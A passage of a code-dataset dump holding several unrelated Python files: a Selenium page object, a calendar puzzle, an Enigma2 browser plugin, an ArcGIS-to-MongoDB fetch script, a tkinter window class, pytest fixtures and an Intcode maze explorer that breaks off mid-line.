self.enterNetmaskBit(netmaskBit)\n        self.log.info(\"click on save button to save data\")\n        self.clickSaveButton()\n        self.log.info(\"close Add window\")\n        self.closeAddWindow()\n        self.log.info(\"refresh controller page\")\n        self.driver.refresh()\n        self.log.info(\"reload page and wait up to 30 second \")\n        self.driver.set_page_load_timeout(30)\n        self.log.info(\"\")\n                \n    def addMultipleController(self, cloudServer, name, protocol, port, internalNetwork, netmaskBits):\n        self.selectCloudServerDropDown(cloudServer)\n        self.enterControllerName(name)\n        self.selectProtocol(protocol)\n        self.enterInternalNetwork(internalNetwork)\n        self.enterNetmaskBit(netmaskBits)\n        self.clickSaveButton()\n                       \n    def delete_Sigle_Controller(self,name):\n        # change Xpath at run time\n        new_xpath = self.update_xpath(self._controller_entry, \"controller\", name)\n        # search what to delete\n        value = self.verify_Controller_entry(name)\n        if value:\n            self.select_check_box(new_xpath, name)\n            self.delete_entries(new_xpath,name)\n            value1 = self.verify_Controller_entry(self,name)\n            if value1 :\n                self.log.info(\"Fail to delete (\"+name+\") controller\")\n                return False\n            else :\n                self.log.info(name+ \" controller successfully deleted\")\n            return True\n        else :\n            self.log.info(\"desire controller \" + name + \" doesn't found\")\n            return False\n      #   \n     \n      # select delete button\n      # click on delete button\n      \n      \n        \n #   def deleteMultipaleController(self,):\n        \n        \n          #  def deleteAll Controller(self):\n            \n\n\n\n   # def single_Delete(self):\n\n\n\n\n","sub_path":"com.instasafev2/src/pages/companyPortal/controller_Page.py","file_name":"controller_Page.py","file_ext":"py","file_size_in_byte":8687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"491057552","text":"#common year has 365 days,besides leap year has 366\n\ndef isleap(year):\n    if year % 400 == 0:\n        return True\n    elif year % 4 == 0:\n        if year % 100 == 0:\n            return False\n        else:\n            return True\n    else:\n        return False\n\nmonths = {\n    \"jan\" : 1,\n    \"feb\" : 2,\n    \"mar\" : 3,\n    \"apr\" : 4,\n    \"may\" : 5,\n    \"jun\" : 6,\n    \"jul\" : 7,\n    \"aug\" : 8,\n    \"sep\" : 9,\n    \"oct\" : 10,\n    \"nov\" : 11,\n    \"dec\" : 12\n}\ndays = [0,31,28,31,30,31,30,31,31,30,31,30,31]\nmod = [[0,\"Su\"],[1,\"Mo\"],[2,\"Tu\"],[3,\"We\"],[4,\"Th\"],[5,\"Fr\"],[6,\"Sa\"]]\n\ndef find_day(start,end):\n    sum = 0\n    if isleap(start[2]):\n        temp = 366\n        if months[start[1]] > 2:\n            for m in range(months[start[1]]):\n                sum += days[m]\n            sum += 1\n        else:\n            for m in range(months[start[1]]):\n                sum += days[m]\n    else:\n        temp = 365\n        for m in range(months[start[1]]):\n            sum += days[m]\n    sum += start[0]\n    sum = temp - sum + 1\n\n    for y in range(start[2]+1,end[2]):\n        if isleap(y):\n            sum += 366\n        else:\n            sum += 365\n\n    if isleap(end[2]):\n        if months[end[1]] > 2:\n            for m in range(months[end[1]]):\n                sum += days[m]\n            sum += 1\n        else:\n            for m in range(months[end[1]]):\n                sum += days[m]\n    else:\n        for m in range(months[end[1]]):\n            sum += days[m]\n    sum += end[0]\n    #sum = sum - start[0] + 1\n    return sum%7\n\nx = [1,\"jan\",1900]\nstart = [1,\"jan\",1901]\ntill = [31,\"dec\",2000]\n\nk = find_day(x,start)\nprint(k)\n\nt = start[0]%7\nfor i in range(7):\n    mod[k][0] = t\n    k = (k+1)%7\n    t = (t+1)%7\nprint(mod)\n\nfor n,d in mod:\n    if d == \"Su\":\n        k = n\n        break\nprint(k)\n\ns = 1\ncount = 0\nfor y in range(start[2],till[2]+1):\n    if isleap(y):\n        days = [0,31,29,31,30,31,30,31,31,30,31,30,31]\n    else:\n        days = [0,31,28,31,30,31,30,31,31,30,31,30,31]\n    for m in range(1,13):\n        if s%7 == k:\n            count += 1\n            s += days[m]\n        else:\n            s += days[m]\n\nprint(count)\n","sub_path":"beforeSIIT/19.py","file_name":"19.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"74435497","text":"import os\nimport struct\nfrom enigma import eConsoleAppContainer, getDesktop\nfrom Components.VolumeControl import VolumeControl\nimport datasocket\n\n\nclass Browser:\n\tdef __init__(self):\n\t\tself.onUrlChanged = []\n\t\tself.onUrlInfoChanged = []\n\t\tself.onMediaUrlChanged = []\n\t\tself.onExit = []\n\t\tself.onStopPlaying = []\n\t\tself.onPausePlaying = []\n\t\tself.onResumePlaying = []\n\t\tself.onSkip = []\n\t\tself.commandserver = None\n\n\tdef connectedClients(self):\n\t\treturn self.commandserver.connectedClients()\n\n\tdef start(self):\n\t\tif not self.commandserver:\n\t\t\tsize_w = getDesktop(0).size().width()\n\t\t\tsize_h = getDesktop(0).size().height()\n\t\t\tself.commandserver = datasocket.CommandServer()\n\t\t\tdatasocket.onCommandReceived.append(self.onCommandReceived)\n\t\t\tdatasocket.onBrowserClosed.append(self.onBrowserClosed)\n\t\t\tcontainer = eConsoleAppContainer()\n\t\t\tshellFile = \"export QT_QPA_FONTDIR=/usr/share/fonts QT_QPA_PLATFORM=linuxfb; /usr/bin/stalker \" + self.url\n\t\t\tcontainer.execute(shellFile)\n\n\tdef stop(self):\n\t\tif self.commandserver:\n\t\t\tself.commandserver = None\n\n\tdef onCommandReceived(self, cmd, data):\n\t\tif cmd == 1000:\n\t\t\tfor x in self.onMediaUrlChanged:\n\t\t\t\tx(data)\n\t\telif cmd == 1001:\n\t\t\tfor x in self.onStopPlaying:\n\t\t\t\tx()\n\t\telif cmd == 1002:\n\t\t\t# pause\n\t\t\tfor x in self.onPausePlaying:\n\t\t\t\tx()\n\t\telif cmd == 1003:\n\t\t\t# resume\n\t\t\tfor x in self.onResumePlaying:\n\t\t\t\tx()\n\t\telif cmd == 1005:\n\t\t\tfor x in self.onSkip:\n\t\t\t\tx(struct.unpack('I', data))\n\t\telif cmd == 1100:\n\t\t\tVolumeControl.instance and VolumeControl.instance.volUp()\n\t\telif cmd == 1101:\n\t\t\tVolumeControl.instance and VolumeControl.instance.volDown()\n\t\telif cmd == 1102:\n\t\t\tVolumeControl.instance and VolumeControl.instance.volMute()\n\t\telif cmd == 1999:\n\t\t\tfor x in self.onExit:\n\t\t\t\tx()\n\n\tdef onBrowserClosed(self):\n\t\tself.commandserver = None\n\t\tfor x in self.onExit:\n\t\t\tx()\n\n\tdef sendCommand(self, cmd, data=''):\n\t\tif self.commandserver is not None:\n\t\t\tself.commandserver.sendCommand(cmd, data)\n\n\tdef setUrl(self, url):\n\t\tself.url = url\n\n\tdef StopMediaPlayback(self):\n\t\tself.sendCommand(5)\n\n\tdef setPosition(self, dst_left, dst_top, dst_width, dst_height):\n\t\twidth = 1280\n\t\theight = 720\n\t\tif dst_width == -1:\n\t\t\tdst_width = 1280\n\t\tif dst_height == -1:\n\t\t\tdst_height = 720\n\t\tif dst_width > 1280:\n\t\t\tdst_width = 1280\n\t\tif dst_height > 720:\n\t\t\tdst_height = 720\n\t\tif width > 720:\n\t\t\tdst_left = dst_left * 720 / width\n\t\t\tdst_width = dst_width * 720 / width\n\t\tif dst_left + dst_width > 720:\n\t\t\tdst_width = 720 - dst_left\n\t\tif height > 576:\n\t\t\tdst_top = dst_top * 576 / height\n\t\t\tdst_height = dst_height * 576 / height\n\t\tif dst_top + dst_height > 576:\n\t\t\tdst_height = 576 - dst_top\n\t\ttry:\n\t\t\tfile = open('/proc/stb/vmpeg/0/dst_left', 'w')\n\t\t\tfile.write('%08X' % dst_left)\n\t\t\tfile.close()\n\t\t\tfile = open('/proc/stb/vmpeg/0/dst_top', 'w')\n\t\t\tfile.write('%08X' % dst_top)\n\t\t\tfile.close()\n\t\t\tfile = open('/proc/stb/vmpeg/0/dst_width', 'w')\n\t\t\tfile.write('%08X' % dst_width)\n\t\t\tfile.close()\n\t\t\tfile = open('/proc/stb/vmpeg/0/dst_height', 'w')\n\t\t\tfile.write('%08X' % dst_height)\n\t\t\tfile.close()\n\t\t\tfile = open('/proc/stb/vmpeg/0/dst_apply', 'w')\n\t\t\tfile.write('00000001')\n\t\t\tfile.close()\n\t\texcept:\n\t\t\treturn\n","sub_path":"qtstalker-v5/plugin/browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"534257819","text":"import urllib.request\nimport urllib.parse\nimport json\nfrom pymongo import MongoClient\nimport datetime\n\ndef getZywxImageJson(level, startdate, enddate):\n    mainuri = \"http://218.247.138.121/arcgis/rest/services/ZYWX_IMAGE_[level]_NEW/MapServer/0/query\"\n    mainuri = mainuri.replace(\"[level]\", level)\n    params = { \n        \"f\":  \"json\",\n        \"returnDistinctValues\":  False,\n        \"spatialRel\":  \"esriSpatialRelIntersects\",\n        \"where\":  \"\",\n        \"outFields\":  \"*\",\n        \"returnGeometry\": True\n    }\n    where_str = \"SCENEDATE >= date '[startdate]' and SCENEDATE < date '[enddate]' and ISRELEASE = 'TRUE'\"\n    where_str = where_str.replace(\"[startdate]\", startdate)\n    where_str = where_str.replace(\"[enddate]\", enddate)\n    params[\"where\"] = where_str\n\n    paramstr = urllib.parse.urlencode(params)\n    wholeurl = \"%s?%s\"%(mainuri, paramstr)\n\n    ret = urllib.request.urlopen(\"%s?%s\"%(mainuri, paramstr))\n    code = ret.getcode()\n    print(code)\n    if code == 200:\n        jsondoc = json.loads(ret.read().decode('utf-8'))\n        print(jsondoc)\n        return jsondoc[\"features\"]\n    return \"\"\n\n\nclient = MongoClient()\ndb = client[\"primer\"]\ncoll = db[\"dataset\"]\n\nstartdate = datetime.date(2015, 10, 1)\nenddate = datetime.date(2015, 10, 31)\nscandate = startdate\noneday = datetime.timedelta(days=1)\n\nwhile scandate <= enddate:\n    print(scandate, \"start\") \n    features = getZywxImageJson(\"2\", str(scandate), str(scandate + oneday))\n    break\n    for feature in features:\n        if \"SHAPE.AREA\" in feature[\"attributes\"]:\n            del feature[\"attributes\"][\"SHAPE.AREA\"]\n        if \"SHAPE.LEN\" in feature[\"attributes\"]:\n            del feature[\"attributes\"][\"SHAPE.LEN\"]\n        # coll.insert(feature)\n    scandate = scandate + oneday\nprint(\"all done\")\n\n#getZywxImageJson(\"1A\", \"2015-10-28\", \"2015-10-29\")","sub_path":"test_getsatelliteinfofromhttp(REST) - 副本.py","file_name":"test_getsatelliteinfofromhttp(REST) - 副本.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"556227960","text":"from tkinter import Menu,messagebox\nfrom tkinter.ttk import Notebook\n\nclass baseWindow():\n    def __init__(self,window):\n        self.window = window\n        self.menubar = Menu(self.window)\n        self.note = Notebook(self.window)\n        self.filemenu = Menu(self.menubar, tearoff=0)\n        self.menubar.add_cascade(label='关于', menu=self.filemenu)\n        self.help = '联系我'\n        self.filemenu.add_command(label=self.help, command=self.showHelp)\n        self.init_window()\n\n    #设置窗口\n    def set_window(self,object = None):\n        self.filemenu.add_command(label=object.help, command=object.showHelp)\n        self.window.config(menu=self.menubar)\n        self.note.add(object.frame, text=object.text)\n        self.note.pack()\n    #初始窗口\n    def init_window(self,x=600,y=330):\n        # self.window.title('杭州信用卡业务组')           #窗口名 TestDesignTools\n        self.window.title('Test Design Tools')\n        # 获取屏幕像素，在屏幕中央显示\n        screenwidth = self.window.winfo_screenwidth()\n        screenheight = self.window.winfo_screenheight()\n        self.window.geometry('%dx%d+%d+%d' % (x, y, (screenwidth - x) / 2 - 10, (screenheight - y) / 2 - 40))\n        self.window.resizable(width=False, height=False)  # 不可最大化\n\n    def showHelp(self):\n        textAuthor = 'ST杭州零售-信用卡业务组 陈峰'\n        messagebox.showinfo(title='联系我', message=textAuthor)\n","sub_path":"sources/xmind_to_excel/toolBaseWindow.py","file_name":"toolBaseWindow.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"140612840","text":"import collections\nimport json\nimport os\nimport shutil\nimport tempfile\n\nimport pytest\n\nfrom localalias import commands\n\n\n@pytest.fixture\ndef cleandir():\n    \"\"\"Run tests in an empty directory.\"\"\"\n    newpath = tempfile.mkdtemp()\n    os.chdir(newpath)\n    yield\n    shutil.rmtree(newpath)\n\n\n@pytest.fixture\ndef fake_db(alias_dict):\n    \"\"\"Setup/teardown a local alias database.\"\"\"\n    filename = commands.Command.LOCALALIAS_DB_FILENAME\n    with open(filename, 'w') as f:\n        json.dump(alias_dict, f)\n    yield alias_dict\n    try:\n        os.remove(filename)\n    except FileNotFoundError as e:\n        pass\n\n\n@pytest.fixture\ndef alias_dict():\n    alias_dict = {'multiline': 'echo Hello\\necho world!',\n                  'T': 'echo RUN $1',\n                  'TT': 'echo CHICKEN $@'}\n    return alias_dict\n\n\n@pytest.fixture(params=[\n    ('T', ['PROGRAM'], False),\n    ('TT', ['WING'], False),\n    ('multiline', [], False)\n], ids=['T', 'TT', 'multiline'])\ndef args(request):\n    \"\"\"Returns a named tuple of command arguments and expected results.\"\"\"\n    Args = collections.namedtuple('Args', ['alias', 'cmd_args', 'color'])\n    return Args(request.param[0], request.param[1], request.param[2])\n","sub_path":"tests/commands/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"645853892","text":"def ajuda(com):\n    help(com)\n\ndef título(msg, cor=0):\n    tam = len(msg) + 4\n    print('~' * tam)\n    print(f'  {msg}')\n    print('~' * tam)\n\n\n\ncomando = ''\nwhile True:\n    título('SISTEMA DE AJUDA PyHELP')\n    comando = input('Função ou Biblioteca > ')\n    if comando.upper() == 'FIM':\n        break\n    else:\n        ajuda(comando)\ntítulo('Até logo!')","sub_path":"ex106.py","file_name":"ex106.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"550308530","text":"import random\nfrom copy import deepcopy\nfrom pathfinding.core.diagonal_movement import DiagonalMovement\nfrom pathfinding.core.grid import Grid\nfrom pathfinding.finder.a_star import AStarFinder\n\nfrom Astar import Astar\n\nwith open('input.txt') as f:\n    lines = f.read().splitlines()\n\nprog_lst = list(map(int, lines[0].split(',')))\n\nprog = {}\n\nfor i in range(len(prog_lst)):\n    prog[i] = prog_lst[i]\n\n# Note --> In code below the <try - except> reads not yet known memory as value 0\n\n\ndef op_1(prog, pos, rel_val):\n    index_1 = prog[pos + 1]\n    index_2 = prog[pos + 2]\n    index_3 = prog[pos + 3]\n    code = str(prog[pos])\n    while len(code) < 5:\n        code = '0' + code\n    # print(code)\n    # Set val_1\n    if code[2] == '1':\n        try:\n            val_1 = prog[pos + 1]\n        except KeyError:\n            val_1 = 0\n    elif code[2] == '2':\n        try:\n            val_1 = prog[rel_val + index_1]\n        except KeyError:\n            val_1 = 0\n    elif code[2] == '0':\n        try:\n            val_1 = prog[index_1]\n        except KeyError:\n            val_1 = 0\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    # Set val_2\n    if code[1] == '1':\n        try:\n            val_2 = prog[pos + 2]\n        except KeyError:\n            val_2 = 0\n    elif code[1] == '2':\n        try:\n            val_2 = prog[rel_val + index_2]\n        except KeyError:\n            val_2 = 0\n    elif code[1] == '0':\n        try:\n            val_2 = prog[index_2]\n        except KeyError:\n            val_2 = 0\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    # write value\n    if code[0] == '1':\n        prog[pos + 3] = val_1 + val_2\n    elif code[0] == '2':\n        prog[rel_val + index_3] = val_1 + val_2\n    elif code[0] == '0':\n        prog[index_3] = val_1 + val_2\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    pos += 4\n    return pos\n\n\ndef op_2(prog, pos, rel_val):\n    index_1 = prog[pos + 1]\n    index_2 = prog[pos + 2]\n    index_3 = prog[pos + 3]\n    code = str(prog[pos])\n    while len(code) < 5:\n        code = '0' + code\n    # print(code)\n    # Set val_1\n    if code[2] == '1':\n        try:\n            val_1 = prog[pos + 1]\n        except KeyError:\n            val_1 = 0\n    elif code[2] == '2':\n        try:\n            val_1 = prog[index_1 + rel_val]\n        except KeyError:\n            val_1 = 0\n    elif code[2] == '0':\n        try:\n            val_1 = prog[index_1]\n        except KeyError:\n            val_1 = 0\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    # Set val_2\n    if code[1] == '1':\n        try:\n            val_2 = prog[pos + 2]\n        except KeyError:\n            val_2 = 0\n    elif code[1] == '2':\n        try:\n            val_2 = prog[rel_val + index_2]\n        except KeyError:\n            val_2 = 0\n    elif code[1] == '0':\n        try:\n            val_2 = prog[index_2]\n        except KeyError:\n            val_2 = 0\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    # Write value\n    if code[0] == '1':\n        prog[pos + 3] = val_1 * val_2\n    elif code[0] == '2':\n        prog[rel_val + index_3] = val_1 * val_2\n    elif code[0] == '0':\n        prog[index_3] = val_1 * val_2\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    pos += 4\n    return pos\n\n\ndef op_3(prog, pos, input_val, rel_val):\n    index_1 = prog[pos + 1]\n    code = str(prog[pos])\n    while len(code) < 3:\n        code = '0' + code\n    if code[0] == '1':\n        prog[pos + 1] = input_val\n    elif code[0] == '2':\n        prog[rel_val + index_1] = input_val\n    elif code[0] == '0':\n        prog[index_1] = input_val\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    pos += 2\n    return pos\n\n\ndef op_4(prog, pos, rel_val):\n    index_1 = prog[pos + 1]\n    code = str(prog[pos])\n    while len(code) < 3:\n        code = '0' + code\n    if code[0] == '1':\n        try:\n            output = prog[pos + 1]\n        except KeyError:\n            output = 0\n    elif code[0] == '2':\n        try:\n            output = prog[rel_val + index_1]\n        except KeyError:\n            output = 0\n    elif code[0] == '0':\n        try:\n            output = prog[index_1]\n        except KeyError:\n            output = 0\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    pos += 2\n    # print(f'Output = {output}')\n    return pos, output\n\n\ndef op_5(prog, pos, rel_val):\n    change = False\n    index_1 = prog[pos + 1]\n    index_2 = prog[pos + 2]\n    code = str(prog[pos])\n    while len(code) < 5:\n        code = '0' + code\n    # print(code)\n    # Set val_1\n    if code[2] == '1':\n        try:\n            val_1 = prog[pos + 1]\n        except KeyError:\n            val_1 = 0\n    elif code[2] == '2':\n        try:\n            val_1 = prog[rel_val + index_1]\n        except KeyError:\n            val_1 = 0\n    elif code[2] == '0':\n        try:\n            val_1 = prog[index_1]\n        except KeyError:\n            val_1 = 0\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    # Set val_2\n    if code[1] == '1':\n        try:\n            val_2 = prog[pos + 2]\n        except KeyError:\n            val_2 = 0\n    elif code[1] == '2':\n        try:\n            val_2 = prog[rel_val + index_2]\n        except KeyError:\n            val_2 = 0\n    elif code[1] == '0':\n        try:\n            val_2 = prog[index_2]\n        except KeyError:\n            val_2 = 0\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    if val_1 != 0:  # Check wether this still works for Day 9\n        pos = val_2\n        change = True\n    if not change:\n        pos += 3  # Check --> This op only regards 2 values; should be +3 instead of +4?\n    return pos\n\n\ndef op_6(prog, pos, rel_val):\n    change = False\n    index_1 = prog[pos + 1]\n    index_2 = prog[pos + 2]\n    code = str(prog[pos])\n    while len(code) < 5:\n        code = '0' + code\n    # print(code)\n    # Set val_1\n    if code[2] == '1':\n        try:\n            val_1 = prog[pos + 1]\n        except KeyError:\n            val_1 = 0\n    elif code[2] == '2':\n        try:\n            val_1 = prog[rel_val + index_1]\n        except KeyError:\n            val_1 = 0\n    elif code[2] == '0':\n        try:\n            val_1 = prog[index_1]\n        except KeyError:\n            val_1 = 0\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    # Set val_2\n    if code[1] == '1':\n        try:\n            val_2 = prog[pos + 2]\n        except KeyError:\n            val_2 = 0\n    elif code[1] == '2':\n        try:\n            val_2 = prog[rel_val + index_2]\n        except KeyError:\n            val_2 = 0\n    elif code[1] == '0':\n        try:\n            val_2 = prog[index_2]\n        except KeyError:\n            val_2 = 0\n    else:\n        print('Error! Unknown methode code!')\n        exit()\n    if val_1 == 0:  # Check wether this still works for Day 9\n        pos = val_2\n        change = True\n    if not change:\n        pos += 3  # Check --> This op only regards 2 values; should be +3 instead of +4?\n    return pos\n\n\ndef op_7(prog, pos, rel_val):\n    index_1 = prog[pos + 1]\n    index_2 = prog[pos + 2]\n    index_3 = prog[pos + 3]\n    code = str(prog[pos])\n    while len(code) < 5:\n        code = '0' + code\n    # print(code)\n    # Set val_1\n    if code[2] == '1':\n        try:\n            val_1 = prog[pos + 1]\n        except KeyError:\n            val_1 = 0\n    elif code[2] == '2':\n        try:\n            val_1 = prog[rel_val + index_1]\n        except KeyError:\n            val_1 = 0\n    elif code[2] == '0':\n        try:\n            val_1 = prog[index_1]\n        except KeyError:\n            val_1 = 0\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    # Set val_2\n    if code[1] == '1':\n        try:\n            val_2 = prog[pos + 2]\n        except KeyError:\n            val_2 = 0\n    elif code[1] == '2':\n        try:\n            val_2 = prog[rel_val + index_2]\n        except KeyError:\n            val_2 = 0\n    elif code[1] == '0':\n        try:\n            val_2 = prog[index_2]\n        except KeyError:\n            val_2 = 0\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    if val_1 < val_2:\n        if code[0] == '1':\n            prog[pos + 3] = 1\n        elif code[0] == '2':\n            prog[rel_val + index_3] = 1\n        elif code[0] == '0':\n            prog[index_3] = 1\n        else:\n            print('Error! Unknown method code!')\n            exit()\n    else:\n        if code[0] == '1':\n            prog[pos + 3] = 0\n        elif code[0] == '2':\n            prog[rel_val + index_3] = 0\n        elif code[0] == '0':\n            prog[index_3] = 0\n        else:\n            print('Error! Unknown method code!')\n            exit()\n    pos += 4\n    return pos\n\n\ndef op_8(prog, pos, rel_val):\n    index_1 = prog[pos + 1]\n    index_2 = prog[pos + 2]\n    index_3 = prog[pos + 3]\n    code = str(prog[pos])\n    while len(code) < 5:\n        code = '0' + code\n    # print(code)\n    # Set val_1\n    if code[2] == '1':\n        try:\n            val_1 = prog[pos + 1]\n        except KeyError:\n            val_1 = 0\n    elif code[2] == '2':\n        try:\n            val_1 = prog[rel_val + index_1]\n        except KeyError:\n            val_1 = 0\n    elif code[2] == '0':\n        try:\n            val_1 = prog[index_1]\n        except KeyError:\n            val_1 = 0\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    # Set val_2\n    if code[1] == '1':\n        try:\n            val_2 = prog[pos + 2]\n        except KeyError:\n            val_2 = 0\n    elif code[1] == '2':\n        try:\n            val_2 = prog[rel_val + index_2]\n        except KeyError:\n            val_2 = 0\n    elif code[1] == '0':\n        try:\n            val_2 = prog[index_2]\n        except KeyError:\n            val_2 = 0\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    if val_1 == val_2:\n        if code[0] == '1':\n            prog[pos + 3] = 1\n        elif code[0] == '2':\n            prog[rel_val + index_3] = 1\n        elif code[0] == '0':\n            prog[index_3] = 1\n        else:\n            print('Error! Unknown method code!')\n            exit()\n    else:\n        if code[0] == '1':\n            prog[pos + 3] = 0\n        elif code[0] == '2':\n            prog[rel_val + index_3] = 0\n        elif code[0] == '0':\n            prog[index_3] = 0\n        else:\n            print('Error! Unknown method code!')\n            exit()\n    pos += 4\n    return pos\n\n\ndef op_9(prog, pos, rel_val):\n    index_1 = prog[pos + 1]\n    code = str(prog[pos])\n    while len(code) < 3:\n        code = '0' + code\n    if code[0] == '1':\n        try:\n            rel_val += prog[pos + 1]\n        except KeyError:\n            pass\n    elif code[0] == '2':\n        try:\n            rel_val += prog[rel_val + index_1]\n        except KeyError:\n            pass\n    elif code[0] == '0':\n        try:\n            rel_val += prog[index_1]\n        except KeyError:\n            pass\n    else:\n        print('Error! Unknown method code!')\n        exit()\n    pos += 2\n    return pos, rel_val\n\ndef get_target(bot_pos, input_val):\n    if input_val == 1:\n        return bot_pos[0], bot_pos[1] - 1\n    elif input_val == 2:\n        return bot_pos[0], bot_pos[1] + 1\n    elif input_val == 3:\n        return bot_pos[0] - 1, bot_pos[1]\n    elif input_val == 4:\n        return bot_pos[0] + 1, bot_pos[1]\n    else:\n        print(f'Error: input value not understood!')\n        exit()\n\ndef update_bot_pos(bot_pos, input_val):\n    if input_val == 1:\n        bot_pos[1] -= 1\n    elif input_val == 2:\n        bot_pos[1] += 1\n    elif input_val == 3:\n        bot_pos[0] -= 1\n    elif input_val == 4:\n        bot_pos[0] += 1\n    else:\n        print(f'Error: input value not understood!')\n        exit()\n\ndef count_adjacent(bot_pos, board_data):\n    x = bot_pos[0]\n    y = bot_pos[1]\n    count = 0\n    if tuple((x - 1, y)) in board_data:\n        count += 1\n    if tuple((x + 1, y)) in board_data:\n        count += 1\n    if tuple((x, y - 1)) in board_data:\n        count += 1\n    if tuple((x, y + 1)) in board_data:\n        count += 1\n    return count\n\ndef opposite(input_val):\n    opposite_val = None\n    if input_val == 1:\n        opposite_val = 2\n    elif input_val == 2:\n        opposite_val = 1\n    elif input_val == 3:\n        opposite_val = 4\n    elif input_val == 4:\n        opposite_val = 3\n    return opposite_val\n\ndef print_data(board_data, bot_pos, finish):\n    grid_bot = board_data.copy()\n    grid_bot[tuple(bot_pos)] = 'B'\n    xy = list(grid_bot.keys())\n    xy.sort()\n    x_min = xy[0][0]\n    x_max = xy[-1][0]\n    xy.sort(key=lambda x: x[1])\n    y_min = xy[0][-1]\n    y_max = xy[-1][-1]\n    grid = []\n    for y in range(y_max - y_min + 1):\n        grid.append([])\n        for x in range(x_max - x_min + 1):\n            grid[-1].append('*')\n    for k, v in grid_bot.items():\n        x = k[0] - x_min\n        y = k[1] - y_min\n        grid[y][x] = v\n    grid[-y_min][-x_min] = 'S'\n    if finish is not None:\n        grid[finish[1] - y_min][finish[0] - x_min] = 'F'\n    # print(f'\\n----Printing Grid----')\n    # for k, v in grid_bot.items():\n    #     print(f'{k} --> {v}')\n    for line in grid:\n        print('')\n        for char in line:\n            print(char, end='')\n    print('')\n    return grid\n\ndef get_open_dir(bot_pos, board_data):\n    open_dir = []\n    path = []\n    direction = 1\n    for i in range(4):\n        if get_target(bot_pos, direction) not in board_data:\n            open_dir.append(direction)\n        elif board_data[get_target(bot_pos, direction)] == '.':\n            path.append(direction)\n        direction += 1\n    return open_dir, path\n\ndef check_maze(board_data):\n    grid = print_data(board_data, bot_pos, finish)\n    x_max = len(grid[0])\n    y_max = len(grid)\n    for x in range(x_max):\n        for y in range(y_max):\n            if grid[y][x] == '.':\n                if x == 0 or y == 0 or x == x_max or y == y_max:\n                    print('failed on boundary')\n                    return False\n                elif grid[y][x+1] == '*' or grid[y][x-1] == '*' or grid[y + 1][x] == '*' or grid[y - 1][x] == '*':\n                    print('failed on * next to .')\n                    return False\n                else:\n                    continue\n    return True\n\ndef print_maze(maze):\n    for line in maze:\n        print('')\n        for char in line:\n            print(char, end='')\n\nrel_val = 0\n\noutput = None\npos = 0\n\nbot_pos = [0, 0]\nboard_data = {}\nboard_data[tuple(bot_pos)] = '.'\nreturn_point = [[]]\nreturning = False\n\ninput_val = 1 # start north\niter = 0\nfinish = None\nwhile True:\n    icode = prog[pos] % 100\n    if icode == 1:\n        pos = op_1(prog, pos, rel_val)\n    elif icode == 2:\n        pos = op_2(prog, pos, rel_val)\n    elif icode == 3:\n        pos = op_3(prog, pos, input_val, rel_val)\n    elif icode == 4:\n        tup = op_4(prog, pos, rel_val)\n        pos = tup[0]\n        output = tup[1]\n        # Day 15:\n        iter += 1\n        if iter % 10000 == 0:\n            print_data(board_data, bot_pos, finish)\n            if check_maze(board_data):\n                print(f'Maze is finalized, full path found')\n                grid = print_data(board_data,bot_pos, finish)\n                break\n        target = get_target(bot_pos, input_val)\n        if output == 0:\n            board_data[target] = '#'\n            data = get_open_dir(bot_pos, board_data)\n            if len(data[0]) != 0:\n                input_val = random.choice(data[0])\n            else:\n                input_val = random.choice(data[1])\n        elif output == 1:\n            update_bot_pos(bot_pos, input_val)\n            board_data[tuple(bot_pos)] = '.'\n            data = get_open_dir(bot_pos, board_data)\n            if len(data[0]) != 0:\n                input_val = random.choice(data[0])\n            else:\n                if len(data[1]) > 1:\n                    data[1].remove(opposite(input_val))\n                input_val = random.choice(data[1])\n        elif output == 2:\n            update_bot_pos(bot_pos, input_val)\n            board_data[tuple(bot_pos)] = 'F'\n            finish = tuple(bot_pos)\n            data = get_open_dir(bot_pos, board_data)\n            if len(data[0]) != 0:\n                input_val = random.choice(data[0])\n            else:\n                input_val = random.choice(data[1])\n    elif icode == 5:\n        pos = op_5(prog, pos, rel_val)\n    elif icode == 6:\n        pos = op_6(prog, pos, rel_val)\n    elif icode == 7:\n        pos = op_7(prog, pos, rel_val)\n    elif icode == 8:\n        pos = op_8(prog, pos, rel_val)\n    elif icode == 9:\n        tup = op_9(prog, pos, rel_val)\n        pos = tup[0]\n        rel_val = tup[1]\n    elif icode == 99:\n        print(f'End of Int Machine')\n        break\n    else:\n        print('Danger! Danger! Unknown input command!!!')\n        break\n\norg_grid = deepcopy(grid)\n\nstart = None\nend = None\nx_max = len(grid[0])\ny_max = len(grid)\n\n\nfor x in range(x_max):\n    for y in range(y_max):\n        if grid[y][x] == 'B':\n            grid[y][x] = 1\n            org_grid[y][x] = '.'\n        elif grid[y][x] == 'S':\n            start = (x, y)\n            grid[y][x] = 1\n        elif grid[y][x] == 'F':\n            end = (x, y)\n            grid[y][x] = 1\n        elif grid[y][x] == '.':\n            grid[y][x] = 